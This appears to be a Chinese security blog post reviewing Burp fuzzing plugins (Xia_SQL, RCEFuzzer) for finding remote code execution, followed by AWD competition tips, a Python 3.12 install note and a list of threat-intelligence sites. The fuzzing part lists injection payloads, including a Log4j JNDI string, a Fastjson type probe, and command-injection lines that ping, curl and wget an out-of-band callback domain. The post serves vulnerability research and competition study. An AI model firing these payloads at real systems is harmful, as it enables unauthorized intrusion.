从Quan的这篇文章 通过配置 Xia_SQL 来实现Fuzz,从而拿下RCE继续讨论。 在这篇文章中,我介绍了一个专门的插件来负责辅助挖掘RCE的,我们来看这个插件,这篇推文仅做该插件的相关特点介绍,具体的效果回来打算做篇文章 假设我们捕获了这样的流量:POST /sys/customer/list HTTP/1.1 Host: www.baidu.com Content-Length: 23 Content-Type: application/json;charset=UTF-8 {"key1":"value1","key2":"eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9","id":1,"isLogin":false,"key3":{"innerkey2":"{\"k3\":\"v3\"}"}}
那么如果配置了${jndi:ldap://dnslog/log4j} `whoami`.dnslog {"@type":"java.net.Inet4Address","val":"dnslog"}
插件会做出如下操作污染 key1 的值然后分别发包 污染 key2 的值然后分别发包 尝试自动解码 key2 ,并污染子 JSON 的 innerkey1 的值然后分别发包 污染 key3 的值然后分别发包。 污染 key3 的子 JSON 的 innerkey2 的值,然后分别发包。 尝试解析 innerkey2 ,并污染子JSON的 k3 的值然后分别发包
其中,非常值得注意的是: 1.对键值对做污染,但不会对全部的键值对做污染,例如id
,isLogin
。作者说: 因为大部分后端语言都会定义好参数类型,对于整数型、布尔型的参数没有太大污染的必要,徒增报错罢了,除此之外流量中常见 uuid 、hash 等常见格式的值也会跳过污染,进一步缩减流量。 同时作者除了上述的小操作外,还对这样的URI做了一些分析:/order/S09834FVD /order/S07C34FDCCVX
会发现,实际上这些都指向了同一个后端接口,没必要每个都测试一遍。 作者提到: 显然两条流量对应了同一后端,是重复的,没必要都扫,但他没有像 uuid 或 md5 一样的固定特征,正则没法解决,看到一些同行的解决方案是上大模型去识别,颇有种工作饱和了没事干的感觉,本质上是区分文本是否为随机的,即将文本分为是否随机两种类型,业界有非常多成熟的文本分类模型训练教程,现成的模型,不用 GPU 就可以快速解决问题。 我感觉说的很对,尤其是现在这种大模型当道的时代,似乎让我们忘记一些模型其实就能做到。 2.自动解码污染再编码 这个也是个非常出彩的功能,因为很多时候可能数据经过编码,这个对于像前文的Xia_SQL
来做这件事就有点不太现实了,但专业的RCEFuzzer
却能很好的做到这一点,正所谓术业有专攻。 3.header 污染 其实整个插件都围绕着减少数据包做限制,对于header也是,不会盲目的全部替换,例如:Host
、Connection
、Content-Type
这类 header 正如作者所说:像 Host 、Connection 、Content-Type 这类 header 应该跳过污染,避免对请求本身造成影响,一次性替换全部 header 的键值这种纯粹是为了 log4j 这种 payload 打过去省事,暴力出奇迹。 以上就是我初步阅读介绍文章所学习到的该插件的特点,后续会对该插件进行实际的体验和调教,观看效果,并挖掘该插件更多的用途(或许他也能发觉SQL注入?)一切都是我的猜想。
看了半天,发现了该文章的核心思想:利用Xia_SQL的暴力插入各种参数的功能,配合自己的神奇payload,达到FUZZ参数,发觉RCE的效果。
从这个思路出发,你就能看懂作者给出的几个payload(看了半天不知道跟SQL注入有啥关系,实际上是没关系,只是借用了该插件的功能)
;ping ac1s8h4y.eyes.sh|ping ac1s8h4y.eyes.sh&ping ac1s8h4y.eyes.sh
;curl http://ac1s8h4y.eyes.sh|curl http://ac1s8h4y.eyes.sh&curl http://ac1s8h4y.eyes.sh
`sleep(5)`
;`sleep(5)`|`sleep(5)`&`sleep(5)`
`wget ac1s8h4y.eyes.sh`@qq.com
阅读到这句话实际上也就发现了本文的核心思想:
so我们主要利用这个插件给所有的参数插满payload
不过值得一提的是,这个插件:RCEFuzzer)该款工具很专业,但是配置起来比这个要麻烦一些,看个人了。
总的来说,这篇文章主要还是在讲述AWD比赛中,首先应该具备快速代码审计的能力。这里也能看到一些: 1.D盾扫描,尝试找到官方后门 2.代码审计,直接找一些敏感函数file_put_contents
move_uploaded_file
这种能直接getshell的函数 3.任意文件删除+网站重装Getshellunlink
今天在部署某服务的时候发现报错,一查才知道Python低版本居然不支持这么写,火速升级。sudo add-apt-repository ppa:deadsnakes/ppa sudo apt update sudo apt install python3.12
调用就是直接python3.12 main.py
然后还有一件事,就是这个时候只是普通安装,很多Python自带的功能不支持,比如venv
安装一下:apt-get install python3.12-venv
就可以愉快的使用venv了python3.12 -m venv venv
1. 微步X 微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区 2. 安恒星图 安全星图平台 3. 奇安信 奇安信威胁情报中心 4. 情报星球 情报星球 - 安全情报交流与分享社区 5. 天际友盟RedQueen安全智能服务平台 RedQueen威胁情报中心 6. VenusEye威胁情报中心 VenusEye威胁情报中心 7. 绿盟NTI 威胁情报中心 NTI - 威胁情报中心 8. 360威胁情报中心 360安全大脑 9. 安天威胁情报中心 https://www.antiycloud.com/ 10. IBM X-Force IBM X-Force Exchange 11. VirusTotal VirusTotal 12. SANS互联网风暴中心 SANS.edu Internet Storm Center - SANS Internet Storm Center 13. Threatcrowd 开源威胁情报 https://www.threatcrowd.org/ 14. ThreatMiner ThreatMiner.org | Data Mining for Threat Intelligence 15. GreyNoise GreyNoise is the source for understanding internet noise 16. CT Stack安全社区 CT Stack 安全社区 17. 腾讯安全 https://tix.qq.com/ 18. CNTD网络安全威胁情报共享平台 CNTD网络安全威胁情报共享平台 19. 海豚情报助手 海豚威胁情报平台 20. 先知 技术文章 - 先知社区 21. 深信服 https://ti.sangfor.com.cn/analysis-platform 22. 鹰眼毒霸 鹰眼威胁情报 23. 山石云瞻 Loading 24. BadIP https://www.badip.com/ 25. MISP 开源威胁情报共享平台 GitHub - MISP/MISP: MISP (core software) - Open Source Threat Intelligence Platform 26. 威胁情报管理平台 https://ti.watcherlab.com/#/search